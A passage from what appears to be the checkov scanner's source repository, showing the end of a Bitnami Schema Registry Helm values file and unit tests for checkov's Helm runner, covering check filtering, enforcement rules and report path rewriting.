algorithm used validate brokers hostnames\n    ## Disable server hostname verification by setting it to an empty string\n    ## See: https://docs.confluent.io/current/kafka/authentication_ssl.html#optional-settings\n    ##\n    tlsEndpointIdentificationAlgorithm: https\n    ## @param auth.kafka.keystorePassword Password to access the keystore when it's password-protected\n    ##\n    keystorePassword: \"\"\n    ## @param auth.kafka.truststorePassword Password to access the truststore when it's password-protected\n    ##\n    truststorePassword: \"\"\n    ## @param auth.kafka.saslMechanism Mechanism that schema registry will use to connect to kafka. Allowed: PLAIN, SCRAM-SHA-256, SCRAM-SHA-512\n    ##\n    saslMechanism: PLAIN\n## @param listeners Comma-separated list of listeners that listen for API requests over either HTTP or HTTPS\n##\nlisteners: http://0.0.0.0:8081\n## @param avroCompatibilityLevel Avro compatibility type\n## Valid options: none, backward, backward_transitive, forward, forward_transitive, full, or full_transitive\n##\navroCompatibilityLevel: backward\n## @param extraEnvVars Extra environment variables to be set on Schema Registry container\n## e.g:\n## extraEnvVars:\n##   - name: FOO\n##     value: BAR\n##\nextraEnvVars: []\n## @param extraEnvVarsCM Name of existing ConfigMap containing extra env vars\n##\nextraEnvVarsCM: \"\"\n## @param extraEnvVarsSecret Name of existing Secret containing extra env vars\n##\nextraEnvVarsSecret: \"\"\n\n## @section Schema Registry statefulset parameters\n## @param replicaCount Number of Schema Registry replicas to deploy.\n##\nreplicaCount: 1\n## @param updateStrategy.type Schema Registry statefulset strategy type\n## ref: https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#update-strategies\n##\nupdateStrategy:\n  ## StrategyType\n  ## Can be set to RollingUpdate or OnDelete\n  ##\n  type: RollingUpdate\n## Node affinity preset\n## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#node-affinity\n##\nnodeAffinityPreset:\n  ## @param nodeAffinityPreset.type Node affinity preset type. Ignored if `affinity` is set. Allowed values: `soft` or `hard`\n  ##\n  type: \"\"\n  ## @param nodeAffinityPreset.key Node label key to match. Ignored if `affinity` is set\n  ##\n  key: \"\"\n  ## @param nodeAffinityPreset.values Node label values to match. Ignored if `affinity` is set\n  ## E.g.\n  ## values:\n  ##   - e2e-az1\n  ##   - e2e-az2\n  ##\n  values: []\n## @param affinity Affinity for pod assignment\n## Ref: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#affinity-and-anti-affinity\n##\naffinity: {}\n## @param nodeSelector Node labels for pod assignment\n## ref: https://kubernetes.io/docs/user-guide/node-selection/\n##\nnodeSelector: {}\n## @param tolerations Tolerations for pod assignment\n## ref: https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/\n##\ntolerations: []\n## @param podManagementPolicy Statefulset Pod management policy, it needs to be Parallel to be able to complete the cluster join\n## Ref: https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#pod-management-policies\n##\npodManagementPolicy: OrderedReady\n## @param podAnnotations Annotations for Schema Registry pods\n## ref: https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/\n##\npodAnnotations: {}\n## @param podAffinityPreset Pod affinity preset. Ignored if `affinity` is set. Allowed values: `soft` or `hard`\n## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity\n##\npodAffinityPreset: \"\"\n## @param podAntiAffinityPreset Pod anti-affinity preset. Ignored if `affinity` is set. Allowed values: `soft` or `hard`\n## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity\n##\npodAntiAffinityPreset: soft\n## @param priorityClassName Schema Registry pod priority class name\n## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/pod-priority-preemption/\n##\npriorityClassName: \"\"\n## @param topologySpreadConstraints Topology Spread Constraints for pod assignment spread across your cluster among failure-domains. Evaluated as a template\n## Ref: https://kubernetes.io/docs/concepts/workloads/pods/pod-topology-spread-constraints/#spread-constraints-for-pods\n##\ntopologySpreadConstraints: {}\n## @param schedulerName Name of the k8s scheduler (other than default) for Schema Registry pods\n## ref: https://kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/\n##\nschedulerName: \"\"\n## @param terminationGracePeriodSeconds Seconds Redmine pod needs to terminate gracefully\n## ref: https://kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods\n##\nterminationGracePeriodSeconds: \"\"\n## @param lifecycleHooks for the Schema Registry container(s) to automate configuration before or after startup\n##\nlifecycleHooks: {}\n## Schema Registry pods' Security Context.\n## ref: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-the-security-context-for-a-pod\n## @param podSecurityContext.enabled Enabled Controller pods' Security Context\n## @param podSecurityContext.fsGroup Set Controller pod's Security Context fsGroup\n## @param podSecurityContext.sysctls sysctl settings of the Schema Registry pods\n##\npodSecurityContext:\n  enabled: true\n  fsGroup: 1001\n  ## sysctl settings\n  ## Example:\n  ## sysctls:\n  ## - name: net.core.somaxconn\n  ##   value: \"10000\"\n  ##\n  sysctls: []\n## Schema Registry containers' Security Context (only main container).\n## ref: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-the-security-context-for-a-container\n## @param containerSecurityContext.enabled Enable container security context\n## @param containerSecurityContext.runAsUser User ID for the container\n##\ncontainerSecurityContext:\n  enabled: true\n  runAsUser: 1001\n## Schema Registry containers' resource requests and limits.\n## ref: http://kubernetes.io/docs/user-guide/compute-resources/\n## We usually recommend not to specify default resources and to leave this as a conscious\n## choice for the user. This also increases chances charts run on environments with little\n## resources, such as Minikube. If you do want to specify resources, uncomment the following\n## lines, adjust them as necessary, and remove the curly braces after 'resources:'.\n## @param resources.limits The resources limits for the container\n## @param resources.requests The requested resources for the container\n##\nresources:\n  ## e.g:\n  ## limits:\n  ##   cpu: 100m\n  ##   memory: 128Mi\n  limits: {}\n  ## e.g:\n  ## requests:\n  ##   cpu: 100m\n  ##   memory: 128Mi\n  requests: {}\n## Schema Registry pods' liveness and readiness probes. Evaluated as a template.\n## ref: https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes\n## @param livenessProbe.enabled Enable livenessProbe\n## @param livenessProbe.initialDelaySeconds Initial delay seconds for livenessProbe\n## @param livenessProbe.periodSeconds Period seconds for livenessProbe\n## @param livenessProbe.timeoutSeconds Timeout seconds for livenessProbe\n## @param livenessProbe.failureThreshold Failure threshold for livenessProbe\n## @param livenessProbe.successThreshold Success threshold for livenessProbe\n##\nlivenessProbe:\n  enabled: true\n  initialDelaySeconds: 10\n  timeoutSeconds: 1\n  periodSeconds: 20\n  failureThreshold: 6\n  successThreshold: 1\n## @param readinessProbe.enabled Enable readinessProbe\n## @param readinessProbe.initialDelaySeconds Initial delay seconds for readinessProbe\n## @param readinessProbe.periodSeconds Period seconds for readinessProbe\n## @param readinessProbe.timeoutSeconds Timeout seconds for readinessProbe\n## @param readinessProbe.failureThreshold Failure threshold for readinessProbe\n## @param readinessProbe.successThreshold Success threshold for readinessProbe\n##\nreadinessProbe:\n  enabled: true\n  initialDelaySeconds: 10\n  timeoutSeconds: 1\n  periodSeconds: 20\n  failureThreshold: 6\n  successThreshold: 1\n## @param startupProbe.enabled Enable startupProbe\n## @param startupProbe.initialDelaySeconds Initial delay seconds for startupProbe\n## @param startupProbe.periodSeconds Period seconds for startupProbe\n## @param startupProbe.timeoutSeconds Timeout seconds for startupProbe\n## @param startupProbe.failureThreshold Failure threshold for startupProbe\n## @param startupProbe.successThreshold Success threshold for startupProbe\n##\nstartupProbe:\n  enabled: false\n  initialDelaySeconds: 10\n  timeoutSeconds: 1\n  periodSeconds: 5\n  failureThreshold: 20\n  successThreshold: 1\n## @param customLivenessProbe Custom livenessProbe that overrides the default one\n##\ncustomLivenessProbe: {}\n## @param customReadinessProbe Custom readinessProbe that overrides the default one\n##\ncustomReadinessProbe: {}\n## @param customStartupProbe Custom startupProbe that overrides the default one\n##\ncustomStartupProbe: {}\n## @param extraVolumes Optionally specify extra list of additional volumes for MinIO&reg; pods\n## e.g:\n## extraVolumes:\n##   - name: avro-properties\n##     configMap:\n##       name: avro-properties\n##\nextraVolumes: []\n## @param extraVolumeMounts Optionally specify extra list of additional volumeMounts for MinIO&reg; container(s)\n## e.g:\n## extraVolumeMounts:\n##   - name: avro-properties\n##     mountPath: /bitnami/schema-registry/etc/schema-registry/connect-avro-standalone.properties\n##     subPath: connect-avro-standalone.properties\n##\nextraVolumeMounts: []\n## @param initContainers Add additional init containers to the Schema Registry pods.\n## e.g:\n## initContainers:\n##   - name: your-image-name\n##     image: your-image\n##     imagePullPolicy: Always\n##     ports:\n##       - name: portname\n##         containerPort: 1234\n##\ninitContainers: []\n## @param sidecars Add additional sidecar containers to the Schema Registry pods.\n## e.g:\n## sidecars:\n##   - name: your-image-name\n##     image: your-image\n##     imagePullPolicy: Always\n##     ports:\n##       - name: portname\n##         containerPort: 1234\n##\nsidecars: []\n## Schema Registry Pod Disruption Budget configuration\n## ref: https://kubernetes.io/docs/tasks/run-application/configure-pdb/\n## @param pdb.create Enable/disable a Pod Disruption Budget creation\n## @param pdb.minAvailable Minimum number/percentage of pods that must still be available after the eviction\n## @param pdb.maxUnavailable Maximum number/percentage of pods that may be made unavailable after the eviction\n##\npdb:\n  create: false\n  minAvailable: 1\n  maxUnavailable: \"\"\n## Schema Registry Autoscaling parameters.\n## @param autoscaling.enabled Enable autoscaling for replicas\n## @param autoscaling.minReplicas Minimum number of replicas\n## @param autoscaling.maxReplicas Maximum number of replicas\n## @param autoscaling.targetCPU Target CPU utilization percentage\n## @param autoscaling.targetMemory Target Memory utilization percentage\n##\nautoscaling:\n  enabled: false\n  minReplicas: 1\n  maxReplicas: 11\n  targetCPU: \"\"\n  targetMemory: \"\"\n\n## @section Exposure Parameters\n## Schema Registry Service parameters.\n##\nservice:\n  ## @param service.type Kubernetes service type\n  ##\n  type: ClusterIP\n  ## @param service.ports.http Service HTTP port\n  ##\n  ports:\n    http: 8081\n  ## @param service.nodePorts.http Service HTTP node port\n  ## Specify the nodePort value for the LoadBalancer and NodePort service types.\n  ## ref: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport\n  ##\n  nodePorts:\n    http: \"\"\n  ## @param service.clusterIP Schema Registry service clusterIP IP\n  ## e.g:\n  ## clusterIP: None\n  ##\n  clusterIP: \"\"\n  ## @param service.externalTrafficPolicy Enable client source IP preservation\n  ## ref http://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip\n  ##\n  externalTrafficPolicy: Cluster\n  ## @param service.loadBalancerIP loadBalancerIP if service type is LoadBalancer\n  ## ref: https://kubernetes.io/docs/concepts/services-networking/service/#internal-load-balancer\n  ##\n  loadBalancerIP: \"\"\n  ## @param service.loadBalancerSourceRanges Address that are allowed when service is LoadBalancer\n  ## ref: https://kubernetes.io/docs/tasks/access-application-cluster/configure-cloud-provider-firewall/#restrict-access-for-loadbalancer-service\n  ## e.g:\n  ## loadBalancerSourceRanges:\n  ## - 10.10.10.0/24\n  ##\n  loadBalancerSourceRanges: []\n  ## @param service.annotations Annotations for Schema Registry service\n  ##\n  annotations: {}\n  ## @param service.extraPorts Extra ports to expose in Schema Registry service (normally used with the `sidecars` value)\n  ##\n  extraPorts: []\n  ## @param service.sessionAffinity Control where client requests go, to the same pod or round-robin\n  ## Values: ClientIP or None\n  ## ref: https://kubernetes.io/docs/user-guide/services/\n  ##\n  sessionAffinity: None\n  ## @param service.sessionAffinityConfig Additional settings for the sessionAffinity\n  ## sessionAffinityConfig:\n  ##   clientIP:\n  ##     timeoutSeconds: 300\n  ##\n  sessionAffinityConfig: {}\n## @param ingress.enabled                Enable ingress controller resource\n## @param ingress.hostname               Default host for the ingress resource\n## @param ingress.annotations            Ingress annotations\n## @param ingress.extraHosts An array with additional hostname(s) to be covered with the ingress record\n## @param ingress.extraTls TLS configuration for additional hostname(s) to be covered with this ingress record\n## @param ingress.secrets Custom TLS certificates as secrets\n## Configure the ingress resource that allows you to access Schema Registry\n##\ningress:\n  ## @param ingress.enabled Enable ingress record generation for Schema Registry\n  ##\n  enabled: false\n  ## @param ingress.pathType Ingress path type\n  ##\n  pathType: ImplementationSpecific\n  ## @param ingress.apiVersion Force Ingress API version (automatically detected if not set)\n  ##\n  apiVersion: \"\"\n  ## @param ingress.hostname Default host for the ingress record\n  ##\n  hostname: schema-registry.local\n  ## @param ingress.ingressClassName IngressClass that will be be used to implement the Ingress (Kubernetes 1.18+)\n  ## This is supported in Kubernetes 1.18+ and required if you have more than one IngressClass marked as the default for your cluster .\n  ## ref: https://kubernetes.io/blog/2020/04/02/improvements-to-the-ingress-api-in-kubernetes-1.18/\n  ##\n  ingressClassName: \"\"\n  ## @param ingress.path Default path for the ingress record\n  ## NOTE: You may need to set this to '/*' in order to use this with ALB ingress controllers\n  ##\n  path: /\n  ## @param ingress.annotations Additional custom annotations for the ingress record\n  ## NOTE: If `ingress.certManager=true`, annotation `kubernetes.io/tls-acme: \"true\"` will automatically be added\n  ##\n  ## For a full list of possible ingress annotations, please see\n  ## ref: https://github.com/kubernetes/ingress-nginx/blob/master/docs/user-guide/nginx-configuration/annotations.md\n  ##\n  annotations: {}\n  ## @param ingress.tls Enable TLS configuration for the host defined at `ingress.hostname` parameter\n  ## TLS certificates will be retrieved from a TLS secret with name: `{{- printf \"%s-tls\" .Values.ingress.hostname }}`\n  ## You can:\n  ##   - Use the `ingress.secrets` parameter to create this TLS secret\n  ##   - Relay on cert-manager to create it by setting `ingress.certManager=true`\n  ##   - Relay on Helm to create self-signed certificates by setting `ingress.tls=true` and `ingress.certManager=false`\n  ##\n  tls: false\n  ## @param ingress.selfSigned Create a TLS secret for this ingress record using self-signed certificates generated by Helm\n  ##\n  selfSigned: false\n  ## @param ingress.extraHosts An array with additional hostname(s) to be covered with the ingress record\n  ## e.g:\n  ## extraHosts:\n  ##  - name: schema-registry.local\n  ##    path: /\n  ##\n  extraHosts: []\n  ## @param ingress.extraPaths An array with additional arbitrary paths that may need to be added to the ingress under the main host\n  ## e.g:\n  ## extraPaths:\n  ## - path: /*\n  ##   backend:\n  ##     serviceName: ssl-redirect\n  ##     servicePort: use-annotation\n  ##\n  extraPaths: []\n  ## @param ingress.extraTls TLS configuration for additional hostname(s) to be covered with this ingress record\n  ## ref: https://kubernetes.io/docs/concepts/services-networking/ingress/#tls\n  ## e.g:\n  ## extraTls:\n  ## - hosts:\n  ##     - schema-registry.local\n  ##   secretName: schema-registry.local-tls\n  ##\n  extraTls: []\n  ## @param ingress.secrets Custom TLS certificates as secrets\n  ## NOTE: 'key' and 'certificate' are expected in PEM format\n  ## NOTE: 'name' should line up with a 'secretName' set further up\n  ## If it is not set and you're using cert-manager, this is unneeded, as it will create a secret for you with valid certificates\n  ## If it is not set and you're NOT using cert-manager either, self-signed certificates will be created valid for 365 days\n  ## It is also possible to create and manage the certificates outside of this helm chart\n  ## Please see README.md for more information\n  ## e.g:\n  ## secrets:\n  ##   - name: odoo.local-tls\n  ##     key: |-\n  ##       -----BEGIN RSA PRIVATE KEY-----\n  ##       ...\n  ##       -----END RSA PRIVATE KEY-----\n  ##     certificate: |-\n  ##       -----BEGIN CERTIFICATE-----\n  ##       ...\n  ##       -----END CERTIFICATE-----\n  ##\n  secrets: []\n  ## @param ingress.extraRules Additional rules to be covered with this ingress record\n  ## ref: https://kubernetes.io/docs/concepts/services-networking/ingress/#ingress-rules\n  ## e.g:\n  ## extraRules:\n  ## - host: airflow.local\n  ##     http:\n  ##       path: /\n  ##       backend:\n  ##         service:\n  ##           name: airflow-svc\n  ##           port:\n  ##             name: http\n  ##\n  extraRules: []\n\n## @section RBAC parameters\n## Schema Registry pods ServiceAccount.\n## ref: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/\n##\nserviceAccount:\n  ## @param serviceAccount.create Enable the creation of a ServiceAccount for Schema Registry pods\n  ##\n  create: true\n  ## @param serviceAccount.name Name of the created ServiceAccount to use\n  ## If not set and create is true, a name is generated using the schema-registry.fullname template\n  ##\n  name: \"\"\n  ## @param serviceAccount.annotations Additional Service Account annotations (evaluated as a template)\n  ##\n  annotations: {}\n  ## @param serviceAccount.automountServiceAccountToken Automount service account token for the server service account\n  ##\n  automountServiceAccountToken: true\n\n## @section Kafka chart parameters\n##\n## Kafka chart configuration\n## For information about these parameters, refer to:\n##   https://github.com/bitnami/charts/blob/master/bitnami/kafka/values.yaml\n##\nkafka:\n  ## @param kafka.enabled Enable/disable Kafka chart installation\n  ##\n  enabled: true\n  ## @param kafka.replicaCount Number of Kafka brokers\n  ##\n  replicaCount: 1\n  auth:\n    ## @param kafka.auth.clientProtocol Authentication protocol for communications with clients. Allowed protocols: plaintext, tls, mtls, sasl and sasl_tls\n    ##\n    clientProtocol: plaintext\n    ## @param kafka.auth.interBrokerProtocol Authentication protocol for inter-broker communications. Allowed protocols: plaintext, tls, mtls, sasl and sasl_tls\n    ##\n    interBrokerProtocol: plaintext\n    ## TLS configuration\n    ##\n    tls:\n      ## @param kafka.auth.tls.existingSecrets Array existing secrets containing the TLS certificates for the Kafka brokers\n      ## When using 'jks' format for certificates, each secret should contain a truststore and a keystore.\n      ## Create these secrets following the steps below:\n      ## 1) Generate your truststore and keystore files. Helpful script: https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh\n      ## 2) Rename your truststore to `kafka.truststore.jks`.\n      ## 3) Rename your keystores to `kafka-X.keystore.jks` where X is the ID of each Kafka broker.\n      ## 4) Run the command below one time per broker to create its associated secret (SECRET_NAME_X is the name of the secret you want to create):\n      ##       kubectl create secret generic SECRET_NAME_0 --from-file=kafka.truststore.jks=./kafka.truststore.jks --from-file=kafka.keystore.jks=./kafka-0.keystore.jks\n      ##       kubectl create secret generic SECRET_NAME_1 --from-file=kafka.truststore.jks=./kafka.truststore.jks --from-file=kafka.keystore.jks=./kafka-1.keystore.jks\n      ##       ...\n      ##\n      ## When using 'pem' format for certificates, each secret should contain a public CA certificate, a public certificate and one private key.\n      ## Create these secrets following the steps below:\n      ## 1) Create a certificate key and signing request per Kafka broker, and sign the signing request with your CA\n      ## 2) Rename your CA file to `kafka.ca.crt`.\n      ## 3) Rename your certificates to `kafka-X.tls.crt` where X is the ID of each Kafka broker.\n      ## 3) Rename your keys to `kafka-X.tls.key` where X is the ID of each Kafka broker.\n      ## 4) Run the command below one time per broker to create its associated secret (SECRET_NAME_X is the name of the secret you want to create):\n      ##       kubectl create secret generic SECRET_NAME_0 --from-file=ca.crt=./kafka.ca.crt --from-file=tls.crt=./kafka-0.tls.crt --from-file=tls.key=./kafka-0.tls.key\n      ##       kubectl create secret generic SECRET_NAME_1 --from-file=ca.crt=./kafka.ca.crt --from-file=tls.crt=./kafka-1.tls.crt --from-file=tls.key=./kafka-1.tls.key\n      ##       ...\n      ##\n      existingSecrets: []\n      ## @param kafka.auth.tls.password Password to access the JKS files or PEM key when they are password-protected.\n      ## Note: ignored when using 'existingSecret'.\n      ##\n      password: \"\"\n      ## @param kafka.auth.tls.endpointIdentificationAlgorithm The endpoint identification algorithm to validate server hostname using server certificate\n      ## Disable server host name verification by setting it to an empty string.\n      ## ref: https://docs.confluent.io/current/kafka/authentication_ssl.html#optional-settings\n      ##\n      endpointIdentificationAlgorithm: https\n    sasl:\n      jaas:\n        ## @param kafka.auth.sasl.jaas.clientUsers [array] Kafka client users for SASL authentication\n        ##\n        clientUsers:\n          - user\n        ## @param kafka.auth.sasl.jaas.clientPasswords Kafka client passwords for SASL authentication\n        ##\n        clientPasswords: []\n        ## @param kafka.auth.sasl.jaas.interBrokerUser Kafka inter broker communication user for SASL authentication\n        ##\n        interBrokerUser: admin\n        ## @param kafka.auth.sasl.jaas.interBrokerPassword Kafka inter broker communication password for SASL authentication\n        ##\n        interBrokerPassword: \"\"\n        ## @param kafka.auth.sasl.jaas.zookeeperUser Kafka Zookeeper user for SASL authentication\n        ##\n        zookeeperUser: \"\"\n        ## @param kafka.auth.sasl.jaas.zookeeperPassword Kafka Zookeeper password for SASL authentication\n        ##\n        zookeeperPassword: \"\"\n        ## @param kafka.auth.sasl.jaas.existingSecret Name of the existing secret containing credentials for brokerUser, interBrokerUser and zookeeperUser\n        ##\n        existingSecret: \"\"\n  service:\n    ## @param kafka.service.ports.client Kafka service port for client connections\n    ##\n    ports:\n      client: 9092\n  ##\n  ## Zookeeper chart configuration\n  ## For information about these parameters, refer to:\n  ##   https://github.com/bitnami/charts/blob/master/bitnami/zookeeper/values.yaml\n  ##\n  zookeeper:\n    ## @param kafka.zookeeper.enabled Enable/disable Zookeeper chart installation\n    ##\n    enabled: true\n    ## @param kafka.zookeeper.replicaCount Number of Zookeeper replicas\n    ##\n    replicaCount: 1\n    ## @param kafka.zookeeper.auth [object] Zookeeper auth settings\n    auth:\n      client:\n        enabled: false\n        clientUser: zookeeperUser\n        clientPassword: \"\"\n        serverUsers: zookeeperUser\n        serverPasswords: \"\"\n        existingSecret: \"\"\n##\n## External Kafka Configuration\n## All of these values are only used when kafka.enabled is set to false\n##\nexternalKafka:\n  ## @param externalKafka.brokers Array of Kafka brokers to connect to. Format: protocol://broker_hostname:port\n  ##\n  brokers:\n    - PLAINTEXT://localhost:9092\n  ## Authentication parameters\n  ## @param externalKafka.auth.protocol                   Authentication protocol. Allowed protocols: plaintext, tls, sasl and sasl_tls\n  ## @param externalKafka.auth.jaas.user                  User for SASL authentication\n  ## @param externalKafka.auth.jaas.password              Password for SASL authentication\n  ##\n  auth:\n    ## Authentication protocol\n    ## Supported values: 'plaintext', 'tls', sasl' and 'sasl_tls'\n    ## This table shows the security provided on each protocol:\n    ## | Method    | Authentication                | Encryption via TLS |\n    ## | plaintext | None                          | No                 |\n    ## | tls       | None                          | Yes                |\n    ## | sasl      | Yes (via SASL)                | No                 |\n    ## | sasl_tls  | Yes (via SASL)                | Yes                |\n    ##\n    protocol: plaintext\n    ## JAAS configuration for SASL authentication\n    ## MANDATORY when protocol is 'sasl' or 'sasl_tls'\n    ##\n    jaas:\n      user: user\n      password: \"\"\n"
  },
  {
    "path": "tests/helm/test_runner.py",
    "content": "import os\nimport tempfile\nimport unittest\nfrom unittest.mock import patch\n\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import CheckType, Report\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.helm.runner import Runner, fix_report_paths\nfrom tests.helm.utils import helm_exists\n\n\nclass TestRunnerValid(unittest.TestCase):\n    @unittest.skipIf(not helm_exists(), \"helm not installed\")\n    def test_record_relative_path_with_relative_dir(self):\n        # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start).\n\n        # this is just constructing the scan dir as normal\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"runner\", \"resources\", \"infrastructure\")\n\n        # this is the relative path to the directory to scan (what would actually get passed to the -d arg)\n        dir_rel_path = os.path.relpath(scan_dir_path).replace(\"\\\\\", \"/\")\n\n        checks_allowlist = [\"CKV_K8S_42\"]\n\n        runner = Runner()\n        report = runner.run(\n            root_folder=dir_rel_path, runner_filter=RunnerFilter(framework=[\"helm\"], checks=checks_allowlist)\n        )\n\n        all_checks = report.failed_checks + report.passed_checks\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.check_type, CheckType.HELM)\n        for record in all_checks:\n            self.assertIn(record.repo_file_path, record.file_path)\n        for resource in report.resources:\n            self.assertIn('/helm-tiller/pwnchart/templates', resource)\n\n    @unittest.skipIf(not helm_exists(), \"helm not installed\")\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"runner\", \"resources\", \"infrastructure\")\n\n        runner = Runner()\n        filter = RunnerFilter(framework=['helm'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.HELM: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=scan_dir_path, runner_filter=filter\n        )\n\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        \n    @unittest.skipIf(not helm_exists(), \"helm not installed\")\n    def test_runner_invalid_chart(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"runner\", \"resources\", \"schema-registry\")\n\n        runner = Runner()\n        filter = RunnerFilter(framework=['helm'], use_enforcement_rules=False)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        report = runner.run(\n            root_folder=scan_dir_path, runner_filter=filter\n        )\n\n        self.assertEqual(len(report.failed_checks), 0)\n\n    @unittest.skipIf(not helm_exists(), \"helm not installed\")\n    def test_get_binary_output_from_directory_equals_to_get_binary_result(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        scan_dir_path = os.path.join(current_dir, \"runner\", \"resources\", \"schema-registry\")\n\n        runner_filter = RunnerFilter(framework=['helm'], use_enforcement_rules=False)\n\n        chart_meta = Runner.parse_helm_chart_details(scan_dir_path)\n        chart_item = (scan_dir_path, chart_meta)\n        regular_result = Runner.get_binary_output(chart_item, target_dir='./tmp', helm_command=\"helm\",\n                                                  runner_filter=runner_filter)\n        result_from_directory = Runner.get_binary_output_from_directory(str(scan_dir_path),\n                                                                        target_dir='./tmp', helm_command=\"helm\",\n                                                                        runner_filter=runner_filter)\n        assert regular_result == result_from_directory\n\n    def test_fix_report_paths(self):\n        # Create a test report with some checks\n        report = Report(CheckType.HELM)\n        tmp_dir = \"/tmp/helm_test\"\n        original_root_folder = \"/original/root\"\n\n        # Create template mapping\n        template_mapping = {\n            \"/tmp/helm_test/manifest1.yaml\": \"/original/root/chart/templates/manifest1.yaml\",\n            \"/tmp/helm_test/manifest2.yaml\": \"/original/root/chart/templates/manifest2.yaml\",\n            \"/tmp/helm_test/unknown.yaml\": \"/original/root/chart/templates/unknown.yaml\",\n        }\n\n        # Create some test records\n        failed_check1 = Record(\n            check_id=\"CKV_K8S_1\",\n            check_name=\"Test check 1\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=f\"{tmp_dir}/manifest1.yaml\",\n            file_line_range=[1, 10],\n            resource=\"resource1\",\n            evaluations={},\n            check_class=\"\",\n            file_abs_path=f\"{tmp_dir}/manifest1.yaml\",\n            entity_tags={},\n        )\n\n        passed_check1 = Record(\n            check_id=\"CKV_K8S_2\",\n            check_name=\"Test check 2\",\n            check_result={\"result\": CheckResult.PASSED},\n            code_block=[],\n            file_path=f\"{tmp_dir}/manifest2.yaml\",\n            file_line_range=[1, 10],\n            resource=\"resource2\",\n            evaluations={},\n            check_class=\"\",\n            file_abs_path=f\"{tmp_dir}/manifest2.yaml\",\n            entity_tags={},\n        )\n\n        # Add unknown path check to test edge case\n        unknown_check = Record(\n            check_id=\"CKV_K8S_3\",\n            check_name=\"Test check 3\",\n            check_result={\"result\": CheckResult.FAILED},\n            code_block=[],\n            file_path=f\"{tmp_dir}/unknown.yaml\",\n            file_line_range=[1, 10],\n            resource=\"resource3\",\n            evaluations={},\n            check_class=\"\",\n            file_abs_path=f\"{tmp_dir}/unknown.yaml\",\n            entity_tags={},\n        )\n\n        report.failed_checks = [failed_check1, unknown_check]\n        report.passed_checks = [passed_check1]\n\n        # Add resources to report\n        report.resources = {\n            f\"{tmp_dir}/manifest1.yaml:resource1\",\n            f\"{tmp_dir}/manifest2.yaml:resource2\",\n            f\"{tmp_dir}/unknown.yaml:resource3\"\n        }\n\n        # Run the function to test\n        fix_report_paths(report, tmp_dir, template_mapping, original_root_folder)\n\n        # Check the results\n        self.assertEqual(failed_check1.repo_file_path, \"/chart/templates/manifest1.yaml\")\n        self.assertEqual(failed_check1.file_path, \"/chart/templates/manifest1.yaml\")\n        self.assertEqual(failed_check1.file_abs_path, \"/original/root/chart/templates/manifest1.yaml\")\n\n        self.assertEqual(passed_check1.repo_file_path, \"/chart/templates/manifest2.yaml\")\n        self.assertEqual(passed_check1.file_path, \"/chart/templates/manifest2.yaml\")\n        self.assertEqual(passed_check1.file_abs_path, \"/original/root/chart/templates/manifest2.yaml\")\n\n        # Unknown path should just have the temp dir prefix removed\n        self.assertEqual(unknown_check.repo_file_path, \"/chart/templates/unknown.yaml\")\n\n        # Check that resources are also updated\n        self.assertIn(\"/original/root/chart/templates/manifest1.yaml:resource1\", report.resources)\n        self.assertIn(\"/original/root/chart/templates/manifest2.yaml:resource2\", report.resources)\n        self.assertIn(\"/original/root/chart/templates/unknown.yaml:resource3\", report.resources)\n\n    def test_parse_output(self):\n        # Create a temp directory for the test\n        with tempfile.TemporaryDirectory() as target_dir:\n            # Sample helm template output with multiple resources\n            helm_output = b\"---\\n# Source: mychart/templates/service.yaml\\napiVersion: v1\\nkind: Service\\nmetadata:\\n  name: example-service\\nspec:\\n  selector:\\n    app: example\\n  ports:\\n    - port: 80\\n      targetPort: 8080\\n---\\n# Source: mychart/templates/deployment.yaml\\napiVersion: apps/v1\\nkind: Deployment\\nmetadata:\\n  name: example-deployment\\nspec:\\n  replicas: 3\\n  template:\\n    metadata:\\n      labels:\\n        app: example\\n    spec:\\n      containers:\\n      - name: example\\n        image: example:1.0\"\n\n            # Create a temporary chart directory\n            with tempfile.TemporaryDirectory() as chart_dir:\n                # Set up the chart directory structure\n                templates_dir = os.path.join(chart_dir, \"templates\")\n                os.makedirs(templates_dir, 